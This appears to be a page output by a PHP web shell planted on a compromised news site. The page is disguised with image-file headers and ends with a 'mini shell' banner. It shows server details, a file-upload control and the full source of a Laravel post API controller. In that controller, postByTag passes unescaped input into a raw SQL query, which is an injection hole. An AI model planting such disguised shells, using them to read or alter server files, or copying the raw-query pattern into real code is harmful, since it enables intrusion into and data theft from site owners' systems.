ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/Modules_old/Api/Http/Controllers/
Upload File :
Current File : /var/www/yapwebtv.com/Modules_old/Api/Http/Controllers/PostController.php

<?php

namespace Modules\Api\Http\Controllers;

use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Config;
use Modules\Ads\Entities\Ad;
use Modules\Gallery\Entities\Image as galleryImage;
use Modules\Gallery\Entities\Video;
use Modules\Post\Entities\Comment;
use Validator;
use Modules\Post\Entities\Post;
use App\Traits\ApiReturnFormat;
use Sentinel;

class PostController extends Controller
{
    use ApiReturnFormat;

    public function searchPost(Request $request){

        $validator = Validator::make($request->all(), [
            'search' => 'required',
        ]);

        if($validator->fails()){
            return $this->responseWithError('Invalid Credentials', $validator->errors(), 422);
        }
        $language = Config::get('app.locale');

        $posts = Post::with('image','video','category:id,category_name','user:id,first_name,last_name,email')
            ->Where('title', 'like', '%' . $request->search . '%')
            ->where('status',1)
            ->where('language',$language)
            ->select('id','category_id','user_id','image_id','video_id','title','slug','content','created_at')
            ->orderBy('slider_order')
            ->paginate(15);

        return $this->responseWithSuccess('Successfully data found',$posts);

    }
    public function postDetails($slug){
        $language = Config::get('app.locale');

        $post = Post::with(['image','video','category:id,category_name','user:id,first_name,last_name,email',
            'comments' => function($q){
                $q->select('id','post_id','user_id','comment_id','comment','status');
                $q->where('status',1);
                $q->where('comment_id',null);
            },
            'comments.replay' => function($q){
                $q->select('id','post_id','user_id','comment_id','comment','status');
                $q->where('status',1);
            },
            'comments.user:id,first_name,last_name,email,image_id',
            'comments.replay.user:id,first_name,last_name,email,image_id',
            'comments.user.image'
        ])
            ->Where('slug', $slug)
            ->where('status',1)
            ->where('language',$language)
            // ->select('id','category_id','user_id','image_id','video_id','title','slug','content','tags','created_at')
            ->first();

        $categoryId = $post->category_id;
        $related_post = Post::where('category_id', $categoryId)
            ->with('image','video','category:id,category_name','user:id,first_name,last_name,email')
            ->where('status',1)
            ->where('language',$language)
            ->select('id','category_id','user_id','image_id','video_id','title','slug','content','created_at')
            ->orderBy('created_at','DESC')
            ->take(8)
            ->get();

        $detailsPage['post_details'] = $post;
        $detailsPage['related_post'] = $related_post;

        return $this->responseWithSuccess('Successfully data found',$detailsPage);
    }

    public function articleDetail($id){

        if(!Post::find($id)):
            return $this->responseWithError('Not found','Post not found',404);
        endif;

        $post = Post::with(['image:id,og_image','video','category:id,category_name','user:id,first_name,last_name,email,social_media,profile_image','audio',
            'comments' => function($q){
                $q->with(['user:id,first_name,last_name,profile_image']);
                $q->select('id','post_id','user_id','comment_id','comment','status');
                $q->where('status',1);
                $q->where('comment_id',null);
            },
            'comments.reply' => function($q){
                $q->with('user:id,first_name,last_name,profile_image');
                $q->select('id','post_id','user_id','comment_id','comment','status');
                $q->where('status',1);
            },
        ])
            ->Where('id', $id)
            ->where('status',1)
            ->select('id','category_id','language','user_id','image_id','post_type','video_id','video_url_type','video_url','video_thumbnail_id','title','slug','content','contents','tags','created_at')
            ->first();

        if(isset($post['contents'])):
            foreach ($post['contents'] as $content):

                if(isset($content['text'])):
                    if ($text = $content['text']['text']):
                        unset($content['text']);
                        $content['type'] = 'text';
                        $content['text'] = $text;
                    endif;
                endif;

                if(isset($content['image'])):
                    if ($content['image']['image_id']) :
                        $image = galleryImage::find($content['image']['image_id']);
                        unset($content['image']);
                        $content['type'] = 'image';
                        $content['image'] = $this->get_image($image);
                    endif;
                endif;

                if(isset($content['image-text'])):
                    if ($content['image-text']['image_id']) :
                        $image = galleryImage::find($content['image-text']['image_id']);

                        $text = $content['image-text']['text'];

                        unset($content['image-text']);

                        $content['type'] = 'image-text';
                        $content['image'] = $this->get_image($image);
                        $content['text'] = $text;

                    endif;
                endif;

                if(isset($content['text-image'])):
                    if ($content['text-image']['image_id']) :
                        $image = galleryImage::find($content['text-image']['image_id']);

                        $text = $content['text-image']['text'];

                        unset($content['text-image']);
                        $content['type'] = 'text-image';
                        $content['text'] = $text;
                        $content['image'] = $this->get_image($image);

                    endif;
                endif;

                if(isset($content['text-image-text'])):
                    if ($content['text-image-text']['image_id']) :
                        $image = galleryImage::find($content['text-image-text']['image_id']);

                        $content['type'] = 'text-image-text';
                        $content['text_1'] = $content['text-image-text']['text_1'];
                        $content['image'] = $this->get_image($image);
                        $content['text_2'] = $content['text-image-text']['text_2'];

                        unset($content['text-image-text']);

                    endif;
                endif;

                if(isset($content['ads'])):
                    if ($content['ads']['ads']) :

                        $content['type'] = 'ads';

                        $ads_info = Ad::find($content['ads']['ads']);

                        $content['ad_type'] = $ads_info->ad_type;

                        if($ads_info->ad_type == 'image'):
                            $image = galleryImage::find($ads_info->ad_image_id);
                            $content['image'] = $this->get_image($image);
                            $content['ad_url'] = $ads_info->ad_url;

                        elseif($ads_info->ad_type == 'code'):
                            $content['code'] = $ads_info->ad_code;

                        elseif($ads_info->ad_type == 'text'):
                            $content['text'] = $ads_info->ad_text;

                        endif;

                        unset($content['ads']);

                    endif;
                endif;

                if(isset($content['youtube-embed'])):
                    if ($content['youtube-embed']['youtube']) :
                        $content['type'] = 'youtube-embed';
                        $content['youtube_id'] = $this->get_id_youtube($content['youtube-embed']['youtube']);
                        unset($content['youtube-embed']);
                    endif;
                endif;

                if(isset($content['twitter-embed'])):
                    if ($content['twitter-embed']['twitter']) :
                        $content['type'] = 'twitter-embed';
                        $content['embed-code'] = $content['twitter-embed']['twitter'];
                        unset($content['twitter-embed']);
                    endif;
                endif;

                if(isset($content['vimeo-embed'])):
                    if ($content['vimeo-embed']['vimeo']) :
                        $content['type'] = 'vimeo-embed';
                        $content['embed-code'] = $content['vimeo-embed']['vimeo'];
                        unset($content['vimeo-embed']);
                    endif;
                endif;

                if(isset($content['code'])):
                    if ($code= $content['code']['code']) :

                        unset($content['code']);

                        $content['type'] = 'code';
                        $content['code'] = $code;
                    endif;
                endif;

                if(isset($content['video'])):
                    $video = $content['video'];

                    unset($content['video']);

                    $content['type'] = 'video';
                    $content['video'] = $this->additionalVideoUrlSet($video);
                endif;

                $response[] = $content;
            endforeach;
        else:
            $response = [];
        endif;

        unset($post['contents']);
        $post['additional_contents'] = $response;

        if(isset($post['comments'])):
            foreach ($post['comments'] as $comment):
                $comment['user']['image'] = static_asset($comment['user']['profile_image']);
                foreach ($comment['reply'] as $reply):
                    $reply['user']['image'] = static_asset($reply['user']['profile_image']);
                endforeach;
            endforeach;
        endif;

        if(isset($post['comments'])):
            foreach ($post['comments'] as $comment):
                unset($comment['user']['profile_image']);
                foreach ($comment['reply'] as $reply):
                    unset($reply['user']['profile_image']);
                endforeach;
            endforeach;
        endif;

        if (isset($post->user['profile_image'])):
            $post->user['image'] = static_asset($post->user['profile_image']);
            unset($post->user['profile_image']);
        endif;

        if (isset($post->created_at)):
            $post->created = Carbon::parse($post->created_at)->diffForHumans();
        endif;

        if (isset($post->id)):
            $post->commentsCount = Comment::where('post_id', $post->id)->where('comment_id', '=' , null)->count();
        endif;

        if (isset($post->image)) {
            if ($post->image->disk == 's3') {
                $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

                $post->image->og_image = $s3Link . $post->image->og_image;

            } else {
                $post->image->og_image = static_asset($post->image->og_image);
            }
        }
        if($post->post_type == "video"):
            if (isset($post->video)) {
                $this->videoUrlSet($post);
            }
        endif;

        if ($post->post_type == "audio") {
            unset($post->video_id);
            unset($post->video_url_type);
            unset($post->video_url);
            unset($post->video_thumbnail_id);
            unset($post->video);

            $this->audioUrlSet($post);
        }

        if ($post->post_type == "article") {
            unset($post->video_id);
            unset($post->video_url_type);
            unset($post->video_url);
            unset($post->video_thumbnail_id);
            unset($post->video);
        }

        $categoryId = $post->category_id;
        $language   = $post->language;

        $related_post = Post::with('image','category:id,category_name,slug','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('category_id', $categoryId)
            ->where('language',$language)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('created_at', 'desc')
            ->take(8)
            ->get();

        $post->related_posts = $this->imageUrlset($this->commentsCount($this->dateToHuman($related_post)));

        return $post;
    }

    private function additionalVideoUrlSet($posts){

        if (isset($posts['video_id']) and (!isset($post['video_url_type']) or $post['video_url_type'] == 'Select option')):

            $post = Video::find($posts['video_id']);

            if ($post->disk == 's3') {
                $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

                if(isset($posts['video_thumbnail_id'])):
                    $image = galleryImage::find($posts['video_thumbnail_id']);

                    $posts['video_thumbnail'] = $this->get_image($image , 'og_image');
                    unset($posts['video_thumbnail_id']);

                elseif ($post['video_thumbnail']):
                    $posts['video_thumbnail'] = $s3Link . $post['video_thumbnail'];
                    unset($posts['video_thumbnail_id']);
                endif;

                if($post['original']):
                    $posts['original'] = $s3Link . $post['original'];
                endif;
                if(isset($post['v_144p'])):
                    $posts['v_144p'] = $s3Link . $post['v_144p'];
                endif;
                if(isset($post['v_240p'])):
                    $posts['v_240p'] = $s3Link . $post['v_240p'];
                endif;
                if(isset($post['v_360p'])):
                    $posts['v_360p'] = $s3Link . $post['v_360p'];
                endif;
                if(isset($post['v_480p'])):
                    $posts['v_480p'] = $s3Link . $post['v_480p'];
                endif;
                if(isset($post['v_720p'])):
                    $posts['v_720p'] = $s3Link . $post['v_720p'];
                endif;
                if(isset($post['v_1080p'])):
                    $posts['v_1080p'] = $s3Link . $post['v_1080p'];
                endif;

            } else {

                if(isset($posts['video_thumbnail_id'])):
                    $image = galleryImage::find($posts['video_thumbnail_id']);

                    $posts['video_thumbnail'] = $this->get_image($image , 'og_image');
                    unset($posts['video_thumbnail_id']);

                elseif ($post['video_thumbnail']):
                    $posts['video_thumbnail'] = static_asset($post['video_thumbnail']);
                    unset($posts['video_thumbnail_id']);
                endif;

                if($post['original']):
                    $posts['original'] = static_asset($post['original']);
                endif;
                if($post['v_144p']):
                    $posts['v_144p'] = static_asset($post['v_144p']);
                endif;
                if($post['v_240p']):
                    $posts['v_240p'] = static_asset($post['v_240p']);
                endif;
                if($post['v_360p']):
                    $posts['v_360p'] = static_asset($post['v_360p']);
                endif;
                if($post['v_480p']):
                    $posts['v_480p'] = static_asset($post['v_480p']);
                endif;
                if($post['v_720p']):
                    $posts['v_720p'] = static_asset($post['v_720p']);
                endif;
                if($post['v_1080p']):
                    $posts['v_1080p'] = static_asset($post['v_1080p']);
                endif;
            }

        elseif($posts['video_url_type'] == 'mp4_url'):
            unset($posts['video']);
            if(isset($posts['video_thumbnail_id'])):
                $image = galleryImage::find($posts['video_thumbnail_id']);

                $posts['video_thumbnail'] = $this->get_image($image , 'og_image');
                unset($posts['video_thumbnail_id']);
            endif;
        elseif($posts['video_url_type'] == 'youtube_url'):
            $posts['youtube_id'] = $this->get_id_youtube($posts['video_url']);
            unset($posts['video_url']);
            unset($posts['video']);

            if(isset($posts['video_thumbnail_id'])):
                $image = galleryImage::find($posts['video_thumbnail_id']);

                $posts['video_thumbnail'] = $this->get_image($image , 'og_image');
                unset($posts['video_thumbnail_id']);
            endif;

        endif;

        unset($posts['video_id']);
        return $posts;
    }

    private function videoUrlSet($post){

        if (isset($post['video_id']) and (!isset($post['video_url_type']) or $post['video_url_type'] == 'Select option')):

            if ($post->video->disk == 's3') {
                $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

                if($post->video->video_thumbnail):
                    $post->video->video_thumbnail = $s3Link . $post->video->video_thumbnail;
                endif;

                if($post->video->original):
                    $post->video->original = $s3Link . $post->video->original;
                endif;
                if(isset($post->video->v_144p)):
                    $post->video->v_144p = $s3Link . $post->video->v_144p;
                endif;
                if(isset($post->video->v_240p)):
                    $post->video->v_240p = $s3Link . $post->video->v_240p;
                endif;
                if(isset($post->video->v_360p)):
                    $post->video->v_360p = $s3Link . $post->video->v_360p;
                endif;
                if(isset($post->video->v_480p)):
                    $post->video->v_480p = $s3Link . $post->video->v_480p;
                endif;
                if(isset($post->video->v_720p)):
                    $post->video->v_720p = $s3Link . $post->video->v_720p;
                endif;
                if(isset($post->video->v_1080p)):
                    $post->video->v_1080p = $s3Link . $post->video->v_1080p;
                endif;

            } else {
                if($post->video->video_thumbnail):
                    $post->video->video_thumbnail = static_asset($post->video->video_thumbnail);
                endif;

                if($post->video->original):
                    $post->video->original = static_asset($post->video->original);
                endif;
                if($post->video->v_144p):
                    $post->video->v_144p = static_asset($post->video->v_144p);
                endif;
                if($post->video->v_240p):
                    $post->video->v_240p = static_asset($post->video->v_240p);
                endif;
                if($post->video->v_360p):
                    $post->video->v_360p = static_asset($post->video->v_360p);
                endif;
                if($post->video->v_480p):
                    $post->video->v_480p = static_asset($post->video->v_480p);
                endif;
                if($post->video->v_720p):
                    $post->video->v_720p = static_asset($post->video->v_720p);
                endif;
                if($post->video->v_1080p):
                    $post->video->v_1080p = static_asset($post->video->v_1080p);
                endif;
            }

            unset($post->video->video_name);

            unset($post->video->disk);
            unset($post->video->created_at);
            unset($post->video->updated_at);

        elseif($post['video_url_type'] == 'mp4_url'):
            unset($post['video']);
            if(isset($post['video_thumbnail_id'])):
                $image = galleryImage::find($post['video_thumbnail_id']);

                $post['video_thumbnail'] = $this->get_image($image);
                unset($post['video_thumbnail_id']);
            endif;
        elseif($post['video_url_type'] == 'youtube_url'):
            $post['youtube_id'] = $this->get_id_youtube($post['video_url']);
            unset($post['video_url']);
            unset($post['video']);

            if(isset($post['video_thumbnail_id'])):
                $image = galleryImage::find($post['video_thumbnail_id']);

                $post['video_thumbnail'] = $this->get_image($image);
                unset($post['video_thumbnail_id']);
            endif;

        endif;

        return $post;
    }

    private function audioUrlSet($post){
        if (isset($post->audio)):
            foreach ($post->audio as $key => $audio):
                $audios_array[] =
                    array(
                        'name' => $audio->audio_name,
                        'file' => $this->get_audio($audio->disk, $audio->original),
                    );
            endforeach;
            if (!isset($audios_array)):
                $audios_array[] = array();
            endif;
        endif;

        $post->audios = $audios_array;
        unset($post->audio);
        return $post;
    }

    public function latestPosts(){
        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','category:id,category_name,slug','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function videoPosts(){
        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','category:id,category_name,slug','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('post_type', 'video')
            ->where('status', 1)
            ->where('language',$language)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function postByCategory($id){

        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','image_id','user_id','title','slug','post_type','created_at')
            ->where('category_id',$id)
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function postBySubCategory($id){

        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','sub_category_id','image_id','user_id','title','slug','post_type','created_at')
            ->where('sub_category_id',$id)
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function postByTag($slug){

        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->whereRaw("FIND_IN_SET('$slug',tags)")
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','sub_category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function postByAuthor($id){

        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->where('user_id',$id)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','sub_category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    public function postByDate($date){

        $language   = Config::get('app.locale') ?? settingHelper('default_language');

        $posts = Post::with('image','user:id,first_name,last_name')
            ->where('visibility', 1)
            ->where('status', 1)
            ->where('language',$language)
            ->whereDate('created_at', $date)
            ->when(Sentinel::check() == false, function ($query) {
                $query->where('auth_required', 0);
            })
            ->select('id','category_id','sub_category_id','image_id','user_id','title','slug','post_type','created_at')
            ->orderBy('id', 'desc')
            ->paginate(10);

        return $this->responseWithSuccess('Successfully data found',$this->imageUrlset($this->commentsCount($this->dateToHuman($posts->items()))));
    }

    protected function commentsCount($posts){
        foreach ($posts as $post):
            $post->commentsCount = Comment::where('post_id', $post->id)->where('comment_id', '=' , null)->count();
        endforeach;

        return $posts;
    }
    protected function dateToHuman($posts){
        foreach ($posts as $post):

            if (isset($post->created_at)):
                $post->created = Carbon::parse($post->created_at)->diffForHumans();
            endif;

        endforeach;

        return $posts;
    }

    protected function imageUrlset($posts)
    {

        foreach ($posts as $post) {
            if (isset($post->image)) {
                if ($post->image->disk == 's3') {
                    $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

                    $post->image->original_image = $s3Link . $post->image->original_image;
                    $post->image->og_image = $s3Link . $post->image->og_image;
                    $post->image->big_image = $s3Link . $post->image->big_image;
                    $post->image->big_image_two = $s3Link . $post->image->big_image_two;
                    $post->image->medium_image = $s3Link . $post->image->medium_image;
                    $post->image->medium_image_two = $s3Link . $post->image->medium_image_two;
                    $post->image->medium_image_three = $s3Link . $post->image->medium_image_three;
                    $post->image->small_image = $s3Link . $post->image->small_image;
                    $post->image->thumbnail = $s3Link . $post->image->thumbnail;

                } else {
                    $post->image->original_image = static_asset($post->image->original_image);
                    $post->image->og_image = static_asset($post->image->og_image);
                    $post->image->big_image = static_asset($post->image->big_image);
                    $post->image->big_image_two = static_asset($post->image->big_image_two);
                    $post->image->medium_image = static_asset($post->image->medium_image);
                    $post->image->medium_image_two = static_asset($post->image->medium_image_two);
                    $post->image->medium_image_three = static_asset($post->image->medium_image_three);
                    $post->image->small_image = static_asset($post->image->small_image);
                    $post->image->thumbnail = static_asset($post->image->thumbnail);
                }

                unset($post->image->id);
                unset($post->image->disk);
                unset($post->image->created_at);
                unset($post->image->updated_at);
            }
        }
        return $posts;
    }

    protected function get_image($image){
        if ($image->disk == 's3') {
            $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

            $image->original_image = $s3Link . $image->original_image;
            $image->og_image = $s3Link . $image->og_image;
            $image->big_image = $s3Link . $image->big_image;
            $image->big_image_two = $s3Link . $image->big_image_two;
            $image->medium_image = $s3Link . $image->medium_image;
            $image->medium_image_two = $s3Link . $image->medium_image_two;
            $image->medium_image_three = $s3Link . $image->medium_image_three;
            $image->small_image = $s3Link . $image->small_image;
            $image->thumbnail = $s3Link . $image->thumbnail;

        } else {
            $image->original_image = static_asset($image->original_image);
            $image->og_image = static_asset($image->og_image);
            $image->big_image = static_asset($image->big_image);
            $image->big_image_two = static_asset($image->big_image_two);
            $image->medium_image = static_asset($image->medium_image);
            $image->medium_image_two = static_asset($image->medium_image_two);
            $image->medium_image_three = static_asset($image->medium_image_three);
            $image->small_image = static_asset($image->small_image);
            $image->thumbnail = static_asset($image->thumbnail);
        }

        unset($image->id);
        unset($image->disk);
        unset($image->created_at);
        unset($image->updated_at);

        return $image;
    }

    protected function get_audio($disk, $filename){
        if ($disk == 's3') {
            $s3Link = "https://s3." . Config::get('filesystems.disks.s3.region') . ".amazonaws.com/" . Config::get('filesystems.disks.s3.bucket') . "/";

            return $s3Link . $disk. $filename;

        } else {
            return static_asset($disk. $filename);
        }
    }

    protected function get_id_youtube($url = ""){
        preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $url, $match);
        $youtube_id = $match[1];
        return $youtube_id;
    }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST